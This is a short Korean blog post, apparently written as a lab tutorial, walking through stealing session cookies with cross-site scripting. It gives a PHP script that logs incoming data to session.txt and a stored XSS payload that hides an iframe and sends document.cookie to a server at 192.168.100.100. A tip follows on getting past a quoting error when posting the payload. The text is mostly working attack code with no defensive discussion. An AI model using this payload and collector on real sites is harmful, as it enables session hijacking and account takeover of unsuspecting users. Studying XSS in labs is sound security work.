본문 바로가기
☠️ 보안

웹 보안🏴‍☠️ Cross-Site Scripting(XSS) 세션 탈취

by 비타민찌 2022. 4. 18.
728x90

웹 보안 Cross-Site Scripting(XSS) 세션 탈취 예제

 

📍 순서

 

1. get.php 생성.

<?php
$data = $_GET['data'];
$myfile = fopen("session.txt", "a") or die("Unable to open file!");
fwrite($myfile, $data."\n");
fclose($myfile);
?>

 

2. 값 테스트

 

 

3. 글쓰기

<iframe id="test" style="width:0px; height:0px"></iframe>
<script>document.getElementById("test").setAttribute("src","http://192.168.100.100/get.php?data="+document.cookie)</script>
 
쓰기 전에

4. 서버 재시작

 

5. 세션 값 확인

 
 
 
 
 

* 80040e10 에러 이유 & 해결방법:

 

 

이렇게 하면 에러가 난다.

이유는 얘가 ' 작은 따옴표 인식을 못하기 때문..

그래서 전부 " 쌍따옴표로 바꿔주면 해결된다.

 

혹은 그냥 글을 쓰고,

수정하기로 다시 쓸 때 작은 따옴표를 넣어줘도 되더라.

728x90

댓글